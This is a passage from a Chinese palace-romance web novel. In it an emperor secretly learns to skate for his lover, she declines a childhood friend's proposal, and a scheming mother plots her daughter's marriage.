那里站着一个女子,带着帷帽,轻纱撩起来了,眼睛看着冰场上飞驰的人,不时低头与身旁夫人低语什么。 姜玄顺着她的眼神看过去,自然知道她在看谁。 第238章 雕虫小技 一股说不清的酸涩猛地涌上喉间。姜玄不自觉地抿紧唇角,眉峰微蹙,周身温度骤降,连身旁的杨泰华都察觉到了异样。 “陛下?”杨泰华小心翼翼地低声道,“可是忧心此处隐患?臣这就命人驱散人群,封湖三日,以策万全。” “不必了。”姜玄声音低沉,“你们做好安全保障即可。派人每日来检查冰层厚度,划定安全区域,规定游玩时辰。只要不出人命,便让百姓们乐一乐。” 杨泰华随即躬身低语:“是!陛下仁心体民,实乃社稷之福。今年风调雨顺,百姓们也是难得有个轻松的年关。” 姜玄没再说话。 他最后看了薛嘉言一眼,转身离去,身影很快融入熙攘人潮 回到宫中,奏章堆叠如山,姜玄却一个字也看不进去。眼前反复浮现的,是小翠湖畔那一幕——薛嘉言站在风里,目光追随着那个高大俊朗的身影。 “张鸿宝。” 张鸿宝立刻从殿外趋步而入,躬身候命。 “宫里可有能滑冰的地方?”姜玄问得突兀,连他自己都觉出几分荒唐。 张鸿宝小心答道:“回陛下,御花园西隅的璃镜台,冬日结冰后平整如镜,先帝在时,每年腊月都会允后宫年少的妃嫔去那里玩冰嬉。几位皇子幼时,也常在拖冰车、打滑跐。” “安排一下,”姜玄站起身,语气不容置喙,“朕想学学滑冰。” 张鸿宝心头一紧,扑通跪下:“陛下三思!滑冰凶险,稍有不慎便摔伤筋骨。您乃万乘之尊,龙体关乎社稷,岂可涉此儿戏之险?” 姜玄瞥他一眼,“去办吧。” 张鸿宝无奈,匆匆退下。 接下来两日,内务府如临大敌。工匠日夜打磨冰面,使其光滑如砥,又沿湖岸加设红漆木栏,高及腰际;更有太医署备好跌打药膏、参汤暖炉,连担架都悄悄备在假山后头。 第三日下朝后,姜玄换了一身轻便的衣裳,去了璃镜台。 张鸿宝找了个擅长冰嬉的侍卫,此人名唤余祥,是禁军中出了名的“冰鹞子”,能在冰上疾驰如飞,转身如燕。 “微臣禁军小旗余祥,叩见陛下。”余祥单膝跪地,声音沉稳。 姜玄摆手:“起来。今日你不是侍卫,是师傅,好好教导朕。” 余祥抱拳:“遵旨。” 姜玄换了冰鞋,踏上冰面的第一步,便踉跄欲倒。余祥忙稳住姜玄的身形,扶着他靠近围栏,让他先沿着围栏走一走。 不多时,姜玄开始学着松开围栏在冰面上行走,走着走着,冰刃在冰上划过一道弧线,伴随着一声闷响,姜玄到底还是未能稳住,整个人失去平衡,重重摔倒在坚硬的冰面上。 “陛下!”张鸿宝的惊叫声几乎变了调,他连滚爬滑扑过去,脸色煞白,伸出的手都在发抖,“快!快扶陛下起来!太医!传太医!” “闭嘴。”姜玄打断张鸿宝的哭腔,“朕还没那么娇贵。”随即,他转向余祥,语气不容置喙,“继续。” 姜玄重新摆好姿势,脑海中回响的却是自己刚才摔倒前那一瞬的失控感。 “余祥,”他沉声道,“方才朕何处用力不当?” 余祥见他神色坚决,且并无大碍,心下稍定。他仔细回想,指出姜玄重心转换的迟疑和脚下发力不够果断。 接下来的时间,璃镜台上只有冰刃刮擦冰面的“嘶嘶”声,和余祥简洁有力的指点声。姜玄不再急于滑行,而是反复练习最基础的蹬冰、收腿、重心移动。摔倒,爬起,再摔倒,再爬起。 姜玄每一次跌倒,张鸿宝的心就跟着抽紧一次,却再不敢出声劝阻,只能死死抓着围栏,指甲都快掐进木头里。 姜玄的进步很快,没多久已能稳稳地在冰上滑行,虽远谈不上流畅优美,但步伐已见沉稳,身形也不再轻易晃动。 当夕阳的金晖为璃镜台的冰面镀上一层暖色时,姜玄已能绕着冰场外侧,不快却相当平稳地滑完一整圈。 “今日便到此。”姜玄缓缓滑回边缘,语气平静,听不出太多情绪。 余祥躬身抱拳,由衷道:“陛下天赋过人,勤勉更甚,假以时日,技艺必精。” 姜玄不置可否,只在宫人服侍下更换冰鞋时,淡淡问了一句:“寻常人学到这般,需几日?” 余祥略一思索,谨慎答道:“天资好又肯下苦功的,约莫也需五六日。陛下今日之功,已抵常人三日苦练。” 姜玄点了点头,没再说话。转身离开璃镜台时,他步履如常,唯有他自己知道,膝盖和手肘都有些疼。 “雕虫小技罢了……” 姜玄不无得意想着,揉了揉手肘,他一定能滑得比那人要好。 后面几日,姜玄每日都要抽出时间来练习,他滑得越来越好,并让张鸿宝准备了冰车,他拉着空的冰车转了一圈。 姜玄想着,等新年时,他一定要带着薛嘉言玩一玩冰嬉,也让她似孩子那样欢快地笑着。 福运粮行,薛嘉言正与周掌柜说话,听他禀报着近日市价与往来账目,这时有人来找周掌柜,周掌柜先告退出去处理事情。 薛嘉言也准备告辞,忽觉得鼻子痒痒的,掩唇轻轻打了个喷嚏。 身后的拾英立刻上前,将一直搭在臂弯里的银灰色锦缎披风抖开,仔细为她系好,又摸了她的手,有些诧异道:“手还挺热的,我还以为您冷了呢。” 薛嘉言揉了揉鼻尖,笑了笑:“不妨事,许是这米粮扬起的尘屑呛着了。” 拾英挑眉笑了笑,揶揄道:“许是有人惦记您,可有些日子没见了……” 薛嘉言嗔怪地瞪了她一眼:“胡说八道……” 拾英捂着嘴笑。 主仆两人来到粮行后门,巷子里积雪未化尽,车夫老赵已将马车赶到背风处等候。然而,马车旁却不止老赵一人。 苏辞身披一件墨蓝色斗篷,领口镶着一圈风毛,衬得他面容愈发俊朗。他闲适地倚在车辕旁,像是等了有一会儿,见薛嘉言出来,脸上立刻绽开温暖的笑意,眼神明亮地望过来。 第239章 跟我走吧 “嘉嘉还真是勤勉,”苏辞笑着开口,“今儿天这么冷,北风刮脸,你还出来巡查铺子。” 薛嘉言脚步微顿,随即如常走过去,客气地颔首:“苏大哥。马上要过年了,这时候各处铺面最易忙中出错,或是有人心浮动,亲自看看才能放心。” 苏辞搓了搓有些冻红的手,呵出一口白气,笑容不变,语气却更熟稔自然:“说的是,年关琐事是多。对了,今儿这天真是够冷的,你从小就爱吃羊肉,我前儿吃到一家好吃的羊汤馆子,汤头熬得雪白浓香,配上刚烤好的胡饼,味道极好。走吧,我带你尝尝去,暖暖身子。” 他话语里带着关切,又提及她幼时的喜好,这份亲近自然的几乎让人难以拒绝。 薛嘉言抬眼,对上苏辞含笑的目光,那目光里的热度与期待,她并非懵懂无知。 他待她,似乎已超出了旧日玩伴的情谊。有些话,他未曾明说,但她隐隐感觉到了那层窗户纸的存在。 他不说,她却不能一直佯装不知。有些界限,早些划清,对彼此都好。 薛嘉言略一思忖,随即点了点头,唇边泛起一抹浅笑:“也好。这天气喝碗热汤确实舒服,走吧。” 她答应得爽快,苏辞眼中笑意更深。 苏辞带薛嘉言去的,是京城里做羊肉出了名的金穗楼。楼高两层,临街而建,此时正值饭点,里头人声鼎沸,羊肉的鲜膻香气混合着酒气、炭火气,热腾腾地弥漫出来,驱散了冬日的寒意。 他显然是早有准备,径直引着薛嘉言上了二楼,推开一间名为“暖玉阁”的雅间。室内暖意融融,银炭在铜盆里烧得正旺,临街的窗户糊着明纸,透进些微天光。桌上已齐齐整整摆了六道精致的冷盘,胭脂鹅脯、水晶蹄冻、香油拌笋丝……,荤素搭配,瞧着便开胃。 候在门外的小二见他们进来,连忙躬身:“苏爷,您定的菜都备好了,您看是现在上热菜吗?” 苏辞颔首,温声道:“上吧,锅子也一并端来。” 薛嘉言晨起便去粮行,查看、对账、吩咐事项,忙到此刻早已是饥肠辘辘。见热菜一道道上来——葱爆羊肉、红焖羊排、羊肉烧卖……最后是一个红铜炭锅,里头是翻滚着浓稠雪白汤底的羊肉锅子,切成薄片的羊肉、羊肚、羊杂,并着豆腐、白菜、粉丝等物,在乳白的汤中起伏,香气扑鼻。 她不再客气,执起筷子便专心用起饭来。羊肉鲜嫩不膻,烧卖皮薄馅大,羊汤暖胃熨帖。她吃得认真而满足,热气熏上脸颊,染出淡淡的粉色。 苏辞见她吃得开心,比自己吃了还高兴,自己面前的碗筷几乎没怎么动,只顾着不时用公筷给她布菜:“这羊排烧得入味,你尝尝……豆腐有些烫,慢点吃。” 薛嘉言偶尔抬眼道谢,专心对付眼前的食物。苏辞看着她吃得脸颊微鼓的模样,依稀仿佛又看到了多年前那个在薛家后花园里,吃了一块芝麻糖而眼睛发亮的小小女孩,心头一片温软。 待到最后喝下半碗暖洋洋的羊汤,薛嘉言才觉餍足。她放下碗,用备好的热毛巾净了手,又端起早已泡好的浓茶漱了口。 雅间里一时安静下来,只有炭火偶尔噼啪轻响,和楼下隐约传来的喧闹声。 薛嘉言将茶盏放回桌面,发出轻微的磕碰声。她抬眼,望向对面一直含笑注视着自己的苏辞。 “苏大哥,”她开口,声音平和,“前些日子听我娘提起,她给你介绍了几位不错的姑娘相看,你却都推拒了。我能问问,是为什么吗?” 苏辞没料到她饭后第一句话是这个,笑容微凝,随即又展开,语气轻松:“大概……是缘分未到吧。” “你人都没去见,”薛嘉言的目光平静地直视着他,“又怎么知道,缘分未到?” 苏辞被她问得一噎,准备好的托词在唇边转了转,却终究没能说出口。他只是看着她,目光里的温度渐渐变得炽热而坦率,不再掩饰那份沉积已久的情意。雅间内的空气仿佛也随着他目光的变化而凝滞了几分。 薛嘉言从他的眼神里得到了确切的答案。或许是两人相识太久,情分早如亲人,又或许是她心有所属,此刻面对这份告白,她心中竟奇异地没有多少羞涩或慌乱。 她轻轻吸了口气,直接问道:“苏大哥是……心悦我?” 苏辞几乎没有丝毫犹豫,郑重地点头,声音清晰而坚定:“是。嘉嘉,我心悦你。”这句话在他心中盘桓了许久,此刻终于说出,带着释然和期盼。 薛嘉言沉默了片刻,斟酌言辞。半晌,她才再度开口,语气依旧平稳:“我的情况,苏大哥你……大概都知道的吧?” 苏辞立刻点头,神情认真:“戚家的事,伯母在路上大致同我说了。你放心,我明白你的难处。若你决定一直照顾婆母和小姑,我绝无二话,自当与你一同承担。” 他目光诚恳,显然这番话并非敷衍。 薛嘉言明白,母亲即便对世交之子,也绝不会将戚家的丑事讲明白,更不是把女儿与当今天子的私情和盘托出。 在苏辞的认知里,恐怕只是戚氏父子命薄早亡,留下薛嘉言这个年轻的寡妇苦苦支撑家业,有些不易为外人道的艰辛罢了。他眼中的怜惜与决心,是基于这个“真相”而生。 可她真正的“情况”,远比这复杂千万倍。 见她沉默不语,长睫低垂,在眼下投出一小片阴影,苏辞心中微紧,以为她仍有顾虑。 他略一沉吟,身体微微前倾,压低了声音,语气变得更为恳切:“嘉嘉,临行前,我爹私下跟我说过,你能以女子之身撑起福运商行,更将生意做到鞑靼那边,手腕魄力自是不凡,但……背后必定有人撑着,方能在这京城立足,打通那些关节。” 薛嘉言倏然抬眸,眼神复杂地看向他。 苏辞连忙摆手,示意她不必紧张:“我不问你那人是谁,也无需知道。我只是想告诉你,依附着他人,无论那人权势多大,终究不是长久之计,仰人鼻息,难免受制,风险亦大。” 第240章 拒绝 苏辞顿了顿,观察着薛嘉言的脸色,见她并未动怒,才继续缓声道:“你我自小相识,知根知底。我苏家在边关经营多年,也有些根基。鞑靼那边,我父亲与几位部落首领都有交情,商路畅通。你若同意,可以跟着我走。咱们依旧做与大兖、与鞑靼的生意,甚至能做得更大。鞑靼民风开放,不像中原礼教森严,没人会在意你的过去,我更不会在意。” 他的声音更低:“隔着那道边关,天高皇帝远。即便……即便你身后那人,是皇亲贵胄,手握权柄,我想,他也不至于追到鞑靼去。” 最后这句话,他的意思却再明白不过——他在邀请她,逃离京城,逃离她背后那个可能带来束缚与危险的存在,与他一同去往一个更自由、更广阔的天地,开始新的生活。 雅间内,炭火“哔剥”一声轻响。羊肉锅子的余温尚在,空气中还残留着食物的香气,但气氛却已截然不同。苏辞的目光热切而期盼,等待着她的回应。 薛嘉言静静地坐在那里,她该如何告诉他,她背后那个所谓的“奸夫”、“倚仗”,正是这大兖朝至高无上的皇帝? 她看着苏辞诚恳而炽热的眼睛,心中涌起感动与无奈。 “苏大哥,我也不瞒你,那人对我挺好的,我也不想离开京城。并且,我觉得你可以找到更适合你的姑娘。” 薛嘉言的话像一盆带着冰碴的水,猝不及防地浇在苏辞心头那簇炽热的火苗上。 苏辞眉头紧蹙,眼中满是不解与痛惜:“嘉嘉,他对你再好,能给你名分吗?你就甘心一辈子这样……这样见不得光的过下去?” 他有些急切,“你才多大?难道往后几十年,都要顶着戚家寡妇的名头生活?倘若那人厌了你,你又该怎么办?” 薛嘉言迎上他的目光,语气平淡:“名分?没那么重要。苏大哥,我现在这样,挺好的。” “可是……”苏辞还想再劝,他总觉得她是在逞强,是在用这些借口搪塞他,或许是对那背后之人的权势有所忌惮,又或许是还未看清真正的前路。 “苏大哥,”薛嘉言打断他,“你的心意,我明白,也感激。但你值得更好、更光明正大的姻缘,别在我这里耽误了。”她站起身,拿起一旁的披风,“时辰不早,我该回去了。” 她自觉已将话说得足够清楚。苏辞是个聪明人,更是苏家长子,肩上有家族责任,有前程考量,不至于为了她这样一个“麻烦”而纠缠不休。 可她低估了苏辞的执拗,也低估了他那份因年少相识而沉淀下来的情意。他觉得薛嘉言是被现状所困,或是被那背后的权势迷了眼,一时看不清什么才是对她最好的选择。他真心喜欢她,也认定自己能给她更好的、更自由的未来。他相信,只要自己耐心,只要让她看到更多的可能和诚意,她终究会明白。 从金穗楼回到家后,薛嘉言去看了看宁儿,又陪着棠姐儿一起玩了一会。 待到夜幕降临时,角门上来了一辆车,卸下来两只羊,还有个身材丰腴的中年妇人。 妇人自称是福运粮行周掌柜派来的,周掌柜得了一批好养,让她来伺候东家每日吃羊肉,喝羊汤,等这两只吃完了,后面还有。 薛嘉言哭笑不得,她虽爱吃羊,可也不是饕餮,这两只羊得吃到什么时候。 这日,苏辞备了几样上好的药材和江南来的精致绸缎,再次登了戚家的门,仍家打着拜访吕氏的借口。 苏辞刚走到吕氏所住院落的月亮门前,里头走出来一位四十多岁、穿着酱色团花缎袄的妇人,脸上带着些未散尽的不豫之色。 苏辞记性好,认出这正是薛嘉言的婆母栾氏,上次来拜访吕氏时曾打过照面。他立刻停下脚步,规规矩矩地长揖一礼:“太太安好。” 栾氏原本因在吕氏那里碰了钉子,心头正窝着火,脸色自然不大好看。见苏辞向自己行礼,态度恭敬,语气温和,她心头那点子不快立刻被另一种心思冲淡了,脸上迅速堆起和善的笑意:“哟,是苏公子啊,快不必多礼。这是来看望亲家太太?” “正是。”苏辞直起身,彬彬有礼地回答。 栾氏上下打量着他,越看越觉得这苏辞人才出众,举止得体,脸上的笑容便更热络了几分:“苏公子有心了。亲家太太就在屋里,你快进去吧。” 苏辞进了屋,发现吕氏坐在临窗的炕上,脸色果然也有些淡淡的,不似往常见他时那般和煦。他心知定是方才栾氏来说了些什么不中听的话,但他一个外人,也不便探问,只当不知,上前行礼问安,又关切地问起吕氏近来的身体。 吕氏见他来了,脸色稍缓,让丫鬟给苏辞看座上茶,自己端起茶杯抿了一口,才道:“劳你惦记,我一切都好。只是年纪大了,精神短了些。” 苏辞便将话题引到轻松处,说起正月里京郊几处名山景致,试探着问吕氏和棠姐儿是否有兴趣同去登山赏雪。 吕氏闻言,想起女儿前一夜特意过来与她说的体己话。薛嘉言并未明言苏辞表白之事,只委婉提及苏辞待她似乎过于亲近,她已与他说明,两人不便多走动,往后只母亲与他以世交之礼来往即可,也免得旁人闲话。 吕氏一听便明白了七八分,心下虽为女儿惋惜错过苏辞这样一个知根知底的好儿郎,但也尊重女儿的选择。此刻听苏辞邀约,便顺势摇头:“登山我是爬不动了,棠姐儿年纪小,身子又弱,也受不得那山风。苏公子若有雅兴,只管约了相熟的朋友同去,年轻人在一起,玩得也更尽兴些。” 这话里的回绝之意,苏辞如何听不出来?他心下黯然,知道这恐怕也是薛嘉言的意思。但他面上不显,依旧挂着得体的微笑:“伯母说的是,是晚辈考虑不周了。” 他又坐了片刻,说了些闲话,将带来的礼物奉上,便起身告辞了。吕氏也没有多留,只让身边的妈妈送了出去。 待苏辞一走,屋内的气氛似乎又沉了下来。吕氏独自坐在炕上,想起方才栾氏那番不知所谓的提议,忍不住又冷了脸,朝着栾氏住的方向低声啐了一口:“真是癞蛤蟆想吃天鹅肉,也不掂量掂量自己!” 第241章 瘌蛤蟆想吃天鹅肉 原来,就在苏辞到来之前,栾氏先过来,说是“有事与亲家太太商量”。吕氏虽不喜她,但碍着亲家情面,不好直接拒之门外,只得请她进来。 “亲家母不是近来身子不适,今日来找我,可是有事?”吕氏问道。 栾氏捏了捏嗓子,声音嘶哑着说道:“不碍事,不过是嗓子生了些小毛病,过几日就好了。亲家母可还住得习惯?” 吕氏心中不快,这宅子本就是她给女儿得陪嫁,栾氏这话倒像是这是戚家得产业一样。吕氏没发作,依旧体面得与栾氏说话。 不过寒暄了两三句,栾氏便急不可耐地道明了来意——她想把自己的女儿戚倩蓉,说给苏辞。 吕氏一听,心火“腾”的就上来了。旁人或许不知内情,她这个做母亲的,对戚倩蓉身上发生过的丑事可是一清二楚!那样一个坏了身子、名声有瑕的姑娘,如何配得上苏辞这样人品才貌俱佳的青年才俊? 她当即便沉下脸,断言拒绝:“此事不妥。苏公子乃是薛家世交之子,他的婚事,自有他父母做主,我们外人如何好胡乱插手?” 栾氏见她拒绝得如此干脆利落,半分余地不留,脸上也有些挂不住,心头不痛快,言语间便带出了几分自矜和不满:“亲家太太这话说的,我们戚家好歹也是官宦门第,那苏家不过是商户。我家蓉儿说给他,原就是下嫁了,他还能挑剔不成?” 吕氏见她如此拎不清,还敢拿早已不存在的“官身”来说事,语气也冷了下来,索性不再给她留面子:“亲家太太,咱们既是亲家,有些话不妨摊开了说,也免得误会。蓉姑娘的身子……先前出了那种事,到底落下病根,这事你知我知。苏公子是家中长子,将来是要承继家业、延续香火的,肩上担子重。蓉姑娘于子嗣上艰难,与苏公子实在是不太相宜。” 这话直戳栾氏肺管子,她脸色一阵红一阵白,讪讪地强辩道:“那……那也不打紧。我们蓉儿性子最是大度贤良,若是真成了这门亲,她自会尽心竭力做好主母,操持中馈,打理家事。至于子嗣传承,那还不简单?多给苏公子纳几房颜色好、身子康健的妾室便是了,将来生下多少孩子,不都得恭恭敬敬唤她一声嫡母?这香火,不也照样延续了?” 吕氏听了这话,简直气得想笑。她懒得再与这糊涂人多费口舌,只端起茶杯,淡淡道:“苏公子非那等贪图美色、不顾嫡庶之人。此事不必再提,请回吧。” 栾氏碰了个钉子,又见吕氏端茶送客,只得悻悻起身走了。是以苏辞来时,才会在门口撞见她那一脸的不痛快。 吕氏回想起栾氏那番荒唐言论,仍是余怒未消。只是……想到女儿未来的路,吕氏心中又不禁蒙上一层忧虑的阴影。那深宫里的贵人,又能给嘉嘉几分真心呢?难道一直这么下去吗? 却说苏辞从吕氏院里告辞出来,心中萦绕着淡淡的失落。他沿着青石游廊慢慢往外走,冬日的阳光透过光秃的藤蔓架子,在他身上投下斑驳的影子。他沉浸在自己的思绪里,并未留意周遭。 隔着一道雕着岁寒三友图案的镂空花窗,假山石后,两双眼睛正悄无声息地注视着他。 栾氏一把捏紧了身旁戚倩蓉的胳膊,力道不小,声音压得低低的,带着难掩的兴奋:“你瞧!娘没骗你吧?这苏公子,生得模样周正,身板挺拔,走起路来也自带一股气度,不比那劳什子魏世子强上百倍?” 戚倩蓉的目光透过花窗空隙,紧紧追随着苏辞渐行渐远的身影。他今日穿着一身宝蓝色暗纹锦袍,外罩玄狐裘斗篷,衬得人愈发长身玉立。 那人肩宽腰窄的身形,沉稳的步伐,确实与魏世子那种浮华浪荡的做派迥然不同。她心里其实也承认母亲这话有几分道理,可嘴上却习惯性的要强,撇了撇嘴,带着几分不甘和轻蔑:“模样好有什么用?不过是个商户罢了。魏世子再怎么着,也是伯府的公子,将来……” “将来?什么将来!” 栾氏恨铁不成钢地又掐了她一下,这次用了力,疼得戚倩蓉“嘶”了一声。 “伯府的公子就能让你当正头娘子了?做梦呢!他家里能容得下你?跟了他,撑死了也就是个没名没分的玩意儿,运气好捞个妾室当当,还得看主母脸色过日子!你当那高门大户是好进的?” 栾氏越说越激动,拽着女儿的胳膊,声音压得更低,却字字敲在戚倩蓉心坎上:“商户怎么了?商户能保你一辈子吃穿不愁,绫罗绸缎,金奴银婢!你要是嫁给他,那就是八抬大轿抬进去的嫡妻正室,苏家上下都得敬着你!你自己想想,是跟着魏世子提心吊胆、看人脸色好,还是堂堂正正做苏家的少奶奶好?” 戚倩蓉咬着下唇,眼神闪烁不定。母亲的话她不是不懂,可魏杨的手段,带她见识过的富贵风流,让她难以立刻割舍。 “娘知道你舍不得什么。你啊,是刚有了男人,身子舍不得他……” 戚倩蓉被她娘这番直白的话臊得脸红,嗫嚅着不知说什么。 栾氏瞧她那副犹豫不决的样子,心里跟明镜似的,凑在戚倩蓉耳边说:“我瞧着那位苏公子身板好,人又温柔,在床上必也是个体贴人……” 戚倩蓉扭了一下身子道:“娘……” “娘是过来人!我告诉你,男人啊,还得是苏公子这种的好!看着就踏实,能靠得住!那些花里胡哨的公子哥,嘴上抹蜜,心里指不定怎么盘算呢!你听娘的,娘不会害你,等将来你过上了安稳富足的日子,自然就明白娘的话了!” 戚倩蓉被母亲掐得生疼,又听她这番苦口婆心,心中天平终于又倾斜了几分。她确实也怕,怕跟了魏世子最终一场空,怕将来人老珠黄无处依傍。 她犹豫着,声音细若蚊蚋:“那……那好吧。可是娘,我还在孝期呢……” 栾氏见她松口,心中大喜,连忙道:“傻孩子,娘又不是叫你明天就嫁!这结亲是两家的大事,哪能说成就成?总得先透个风,慢慢相看安排着。你先安心守你的孝,娘自有主张,你就等着做新娘子吧!” 第242章 看淡 却说苏辞从吕氏院里告辞出来,心中萦绕着淡淡的失落。他沿着青石游廊慢慢往外走,冬日的阳光透过光秃的藤蔓架子,在他身上投下斑驳的影子。他沉浸在自己的思绪里,并未留意周遭。 隔着一道雕着岁寒三友图案的镂空花窗,假山石后,两双眼睛正悄无声息地注视着他。 栾氏一把捏紧了身旁戚倩蓉的胳膊,力道不小,声音压得低低的,带着难掩的兴奋:“你瞧!娘没骗你吧?这苏公子,生得模样周正,身板挺拔,走起路来也自带一股气度,不比那劳什子魏世子强上百倍?” 戚倩蓉的目光透过花窗空隙,紧紧追随着苏辞渐行渐远的身影。他今日穿着一身宝蓝色暗纹锦袍,外罩玄狐裘斗篷,衬得人愈发长身玉立。 那人肩宽腰窄的身形,沉稳的步伐,确实与魏世子那种浮华浪荡的做派迥然不同。她心里其实也承认母亲这话有几分道理,可嘴上却习惯性的要强,撇了撇嘴,带着几分不甘和轻蔑:“模样好有什么用?不过是个商户罢了。魏世子再怎么着,也是伯府的公子,将来……” “将来?什么将来!”栾氏恨铁不成钢地又掐了她一下,这次用了力,疼得戚倩蓉“嘶”了一声。“伯府的公子就能让你当正头娘子了?做梦呢!他家里能容得下你?跟了他,撑死了也就是个没名没分的玩意儿,运气好捞个妾室当当,还得看主母脸色过日子!你当那高门大户是好进的?” 栾氏越说越激动,一把破锣嗓子声音越发难听:“商户怎么了?商户能保你一辈子吃穿不愁,绫罗绸缎,金奴银婢!你要是嫁给他,那就是八抬大轿抬进去的嫡妻正室,苏家上下都得敬着你!你自己想想,是跟着魏世子提心吊胆、看人脸色好,还是堂堂正正做苏家的少奶奶好?” 戚倩蓉咬着下唇,眼神闪烁不定。母亲的话她不是不懂,可魏杨的手段,带她见识过的富贵风流,让她难以立刻割舍。 “娘知道你舍不得什么,”栾氏瞧她那副犹豫不决的样子,心里跟明镜似的,她揉了揉发疼的嗓子,“娘是过来人!我告诉你,男人啊,还得是苏公子这种的好!看着就踏实,能靠得住!那些花里胡哨的公子哥,嘴上抹蜜,心里指不定怎么盘算呢!你听娘的,娘不会害你,等将来你过上了安稳富足的日子,自然就明白娘的话了!” 戚倩蓉被母亲掐得生疼,又听她这番苦口婆心,心中天平终于又倾斜了几分。她确实也怕,怕跟了魏世子最终一场空,怕将来人老珠黄无处依傍。 她犹豫着,声音细若蚊蚋:“那……那好吧。可是娘,我还在孝期呢……” 栾氏见她松口,心中大喜,连忙道:“傻孩子,娘又不是叫你明天就嫁!这结亲是两家的大事,哪能说成就成?总得先透个风,慢慢相看安排着。你先安心守你的孝,娘自有主张,你就等着做新娘子吧!” 寒风裹胁着零星的碎雪,除夕夜,新年的脚步已踏着满城震耳的鞭炮声与孩童的欢叫,迫不及待地涌入京城的每一条街巷。 这份属于凡俗人间的、滚烫喧腾的热闹,却被巍峨的皇城高墙静静隔绝在外。 宫内虽也张灯结彩,廊下宫灯换成了描金福字的红绢宫灯,往来宫人步履匆匆,但这份热闹终究是规整的、小心翼翼的。 长乐宫,更是异样的寂静。暖阁里,太后只着一身家常的绯色锦袍,松松挽着髻,斜倚在临窗的紫檀木榻上。 太后面前的红木小几上,只摆着一壶酒,一只白玉杯。酒是陈年的梨花白,入口清洌,后劲却绵长。她自斟自饮,白皙的面颊已染上浅浅的酡红,如白玉上晕开的胭脂,眼神却清凌凌的,望着窗外,沉默着一杯接着一杯。 沁芳掀开帘幕悄然而入,行至榻前,躬身低声禀道:“娘娘,皇上出宫去了。” 太后执着酒杯的手微微一顿,随即送到唇边,饮尽。她放下空杯,声音有些被酒浸润后的微哑:“去了哪里?” 之前姜玄也常微服出宫,那时他应该是去行宫看望柳千茉了。 可如今,柳千茉已经不在了,姜玄仍在除夕夜出宫去,是要做什么呢?。 沁芳垂着眼继续道:“是跟着五城兵马司指挥使杨泰华,还有苗菁一起出去的。皇上换了常服,说是巡查年节下京畿的防务与治安。” “知道了。”太后淡淡道了三个字,意兴阑珊。挥了挥手,示意沁芳退下。 暖阁内又恢复了寂静,只有太后斟酒时细小的水声,酒意渐渐上涌,心潮不受控制地翻腾起来。 自从姜昀死后,许多事情,她似乎真的看透了,也看淡了。姜昀的死,给她带来的震撼与痛,竟比她想象的要多。 可她宋雅章,天生就不是认命服输的性子。这辈子,想要的东西,费尽心机也要得到;得不到的,也绝不会让他顺心如意。 姜玄……这么多年了,她看着他从一个青涩隐忍的皇子,成长为如今深不可测的帝王。他几乎永远冷静、克制,喜怒不形于色,心思沉得像寒潭。 她几乎没见他真正失控过,唯有紫宸殿那夜。 想起那夜,太后混沌的酒意里,忽然泛起一丝奇异的涟漪。姜玄疾步奔走时的身影,他眼中那几乎要喷薄而出的怒意,他攥紧的拳头字字如冰锥的质问……那是她第一次,也是唯一一次,如此清晰地看到他情绪的外露。 细细想来,竟觉得……还挺有趣。 太后缓缓为自己又斟满一杯酒,举到眼前,透过清澈的酒液,看着窗外摇曳的宫灯光影变得模糊而扭曲。 一丝冰冷的、带着恶意的兴味,悄然取代了方才的空茫与酒意带来的颓唐。她将杯中酒一饮而尽,喉间火辣,眼底却清明了几分。 这深宫长夜,总要找点事做,才不至于这般枯燥。 第243章 找到了 宫墙之外,连绵不绝的爆竹声格外喧腾,到处是热闹的气息。 姜玄换了一身玄青色暗云纹锦袍,外罩墨狐裘,乍看之下,只是一位气质清贵、面容冷峻的世家公子。杨泰华与敖策各带了几名便装亲信,紧紧跟随着他,其余暗卫则不远不近缀着。 一行人先上了内城的城墙。今夜值守的兵士比平日多了数倍,见来了一群贵人,纷纷肃然行礼。 姜玄沿着城墙缓缓踱步,目光掠过脚下灯火璀璨、人声如沸的京城,心中不无激荡,为自己治下得太平盛世欢喜。他低声问了几个防务上的细节,杨泰华一一答了,并无疏漏。 巡查完毕,下了城墙,不远处便是最热闹的长街。人潮如织,摩肩接踵,龙灯、舞狮的队伍正在穿行,引得一片叫好。 姜玄的目光望向那里,脚步顿住,似在迟疑。 杨泰华立刻上前半步,低声道:“陛下,那边人实在太多,鱼龙混杂,恐有不妥。您若想观灯,不如去东华门城楼上,视野更佳,也更稳妥。” 姜玄默然片刻,目光在那片令人目眩的繁华上流连了一瞬,随即收回,语气平淡:“罢了,回吧。” 敖策闻言,立刻带人护卫着姜玄,朝着皇城的方向行去。 然而,行至一处岔路口,姜玄却忽然停下,对敖策低语两句。敖策会意,转身对杨泰华拱手道:“杨大人,主子另有去处,由本官护送即可,今夜有劳大人了。” 杨泰华并不多问,只躬身道:“是,下官明白。主子当心。” 待杨泰华走远,姜玄与敖策等人却悄然转道,折向另一条清静许多的街道。马蹄声在覆着薄雪的石板路上显得格外清晰,渐渐远离了市井的喧嚣。 他们的目的地,是京郊的枫林苑。 枫林苑旁,有一片不小的湖泊。姜玄早已提前数日,命张鸿宝派人暗中将那片湖面精心打理过:仔细丈量冰层厚度,反复打磨得平滑如镜,清除了岸边的枯枝杂草,甚至在背风处搭起了一座临时的小暖阁,备好了炭火、热茶和点心。 枫林苑内,此时却另有一番静谧温馨。薛嘉言已先一步到了,正陪在甄太妃身边。暖阁里烧着地龙,甄太妃靠在软榻上,正含笑听着薛嘉言说着外头的新鲜事与家中两个小孩儿的日常。 “……倒是让太妃见笑了,都是些琐碎小事。”薛嘉言说完,微微抿唇。 “琐碎才好,听着有人气儿,暖和。”甄太妃拍了拍她的手,眼神慈和。 正说着,外头传来脚步声,帘子一掀,带着一身室外寒气的姜玄走了进来。 他先向甄太妃行了礼:“太妃安好。今日除夕,扰您清净了。” 甄太妃早已起身,笑着虚扶:“皇帝来了才好,我这里也热闹些。快坐,喝口热茶驱驱寒。” 姜玄从善如流地坐下,接过热茶,与甄太妃说了几句吉祥话,问了问太妃近日得饮食起居。他语气温和,举止尊敬,全然是晚辈对长辈的礼数。薛嘉言垂眸坐在一旁,偶尔添一句茶,并不多言。 约莫一盏茶的功夫后,姜玄放下茶盏,起身道:“太妃,园中寒梅开得正好,我想带她去走走。” 甄太妃何等通透,闻言立刻笑道:“去吧去吧,年轻人是该多走动。我老了,精神短,正好歪一会儿。” 姜玄走到薛嘉言身侧,极其自然地伸出手,握住了她微凉的手。他的手掌宽大温暖,将她纤细的手指全然包裹。 